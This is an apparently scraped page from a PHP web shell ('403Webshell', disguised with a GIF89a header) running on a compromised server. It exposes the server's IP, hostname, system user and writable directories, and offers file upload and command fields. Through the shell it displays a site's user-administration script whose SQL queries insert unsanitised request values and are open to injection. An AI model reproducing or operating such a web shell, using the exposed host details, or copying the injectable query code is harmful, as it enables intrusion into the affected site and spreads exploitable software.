GIF89a403WebShell
403Webshell
Server IP : 200.152.183.196  /  Your IP : 216.73.216.150
Web Server : nginx/1.20.2
System : Linux server.teclabs.com.br 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : re8rc56e54 ( 10140)
PHP Version : 7.3.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/cial.ind.br/httpdocs/c2r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/vhosts/cial.ind.br/httpdocs/c2r/i_usuarios_adm.php
<?
if($modo == 'list'){
  $query = query("SELECT $pkey, NOME, EMAIL, USUARIO, VISIVEL FROM $tabela WHERE (NOME LIKE '%$buscar%' OR EMAIL LIKE '%$buscar%' OR USUARIO LIKE '%$buscar%') ORDER BY NOME");
  $rows = $query->rowCount();
  if($rows > 0){
    foreach($query as $campo){
      $campo = (object) $campo;
      $id     = $campo->COD_ID;
      $click1 = clickEdit('alt', $id);
      $trs .= '<tr id="tr_'.$id.'"'.($campo->VISIVEL==0?' class="disabled"':'').'>
               <td class="check-col">'.($id>1 && $_SESSION["adm$id_site"]['id']==1?frm_checkbox("checkb_vet[]", $id):'&nbsp;').'</td>
               <td '.$click1.' class="cursor-pointer"><span class="text-highlight">'.$campo->USUARIO.'</span></td>
               <td '.$click1.' class="cursor-pointer">'.$campo->NOME.'</td>
               <td '.$click1.' class="cursor-pointer">'.$campo->EMAIL.'</td>
               </tr>';
    }
    $show = tableHeader('Nome de usuário,Nome,E-mail', $trs);
  }
  $show_frm = array(frmIndex(), frmIndex2());
}
elseif($modo == 'alt' || $modo == 'inc'){
  $NOME         = request('NOME');
  $EMAIL        = request('EMAIL');
  $USUARIO      = request('USUARIO');
  $SENHA        = request('SENHA')?cryptMaster(request('SENHA')):'';
  $AREAS_PERMIT = request('AREAS_PERMIT');
  $permissao    = $AREAS_PERMIT;

  if(is_array($AREAS_PERMIT)){
    $permissao = 0;
    $t = count($AREAS_PERMIT);
    for($x=0; $x<$t; $x++)
      $permissao .= ",".$AREAS_PERMIT[$x];
  }

  $permissao = str_replace(',,', ',', $permissao);
  $AREAS_PERMIT = $permissao;

  if($acao == "inc"){
    $jscmd = "alert('Esse usuário já existe, por favor escolha outro.');";
    $query = query("SELECT USUARIO FROM $tabela WHERE USUARIO='$USUARIO'");
    if($query->rowCount() == 0)
      if(query("INSERT INTO $tabela(USUARIO, ".($SENHA?'SENHA,':'')." NOME, EMAIL, AREAS_PERMIT, DATA) VALUES('$USUARIO', ".($SENHA?"'".$SENHA."', ":'')." '$NOME', '$EMAIL', '$permissao', now())"))
        redirectAdm();
  }
  elseif($acao == 'alt'){
    $jscmd = "alert('Esse usuário já existe, por favor escolha outro.');";
    $query = query("SELECT USUARIO FROM $tabela WHERE USUARIO='$USUARIO' AND $pkey!='$ID'");
    if($query->rowCount() == 0)
      if(query("UPDATE $tabela SET USUARIO='$USUARIO', ".($SENHA?"SENHA='$SENHA', ":'')." NOME='$NOME', EMAIL='$EMAIL', AREAS_PERMIT='$permissao', DATA=now() WHERE $pkey='$ID'"))
    redirectAdm();
  }

  $acao = "inc";
  if($ID > 0){
    $query = query("SELECT NOME, EMAIL, USUARIO, SENHA, AREAS_PERMIT FROM $tabela WHERE $pkey='$ID'");
    foreach($query as $campo){
      $campo = (object) $campo;
      $NOME         = $campo->NOME;
      $EMAIL        = $campo->EMAIL;
      $USUARIO      = $campo->USUARIO;
      $AREAS_PERMIT = $campo->AREAS_PERMIT;
    }
    $acao = 'alt';
  }
  $show = separador('Informações').'
        '.line_text('Nome de usuário', 'USUARIO', $USUARIO, 20, ' onkeyup="imputUser();"', 1).'
        '.line_text('Senha', 'SENHA', '', 20, ' onkeyup="recebe_senha(this);"', 2, 'password').'
        '.line_text('Nome', 'NOME', $NOME, 50, '', 1).'
        '.line_text('E-Mail', 'EMAIL', $EMAIL, 150, '', 2);

  if($ID != 1 && $_SESSION["adm$id_site"]['id']==1){
    $show .= '<div class="fit-form-description">
              <h1>Áreas com permissão</h1>
              </div>
              <div class="fit-form-buttons">
              <a class="toolbar-button vibrant-hover" onclick="marcaTudo();"><i class="fa-solid fa-circle-plus"></i> Marcar tudo</a>
              <a class="toolbar-button vibrant-hover" onclick="desmarcaTudo();"><i class="fa-solid fa-circle-minus"></i> Desmarcar tudo</a>
              </div>';

    $query = query("SELECT * FROM areas_adm");
    $permissao = explode(',', $AREAS_PERMIT);
    $c = 0;
    foreach($query as $campo){
      $campo = (object) $campo;
      if($campo->DIR == ''){
        $id_arquivo = $campo->COD_ID.',';
        $show .= ($c==0?'':'</div></div>').'<div class="checkgroup"><div class="checkgroup-legend">'.$campo->TITULO.':</div><div class="checkgroup-content">';
      }
      else
        $show .= '<label class="check-label">
                  <span class="check-btn">'.frm_checkbox("AREAS_PERMIT[]", $id_arquivo.$campo->COD_ID, in_array($campo->COD_ID, $permissao)?'checked="checked"':'').'</span>
                  <span class="check-legend">'.$campo->TITULO.'</span>
                  </label> ';
      $c++;
    }
  }
  else
    $show .= frm_field("AREAS_PERMIT", $AREAS_PERMIT, 0, '', '', 'hidden');

  $onload = ($ID=='null'?"limparCampos('USUARIO,NOME,EMAIL,SENHA');":"limparCampos('SENHA');");

  $show_frm = array(frmShow());
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit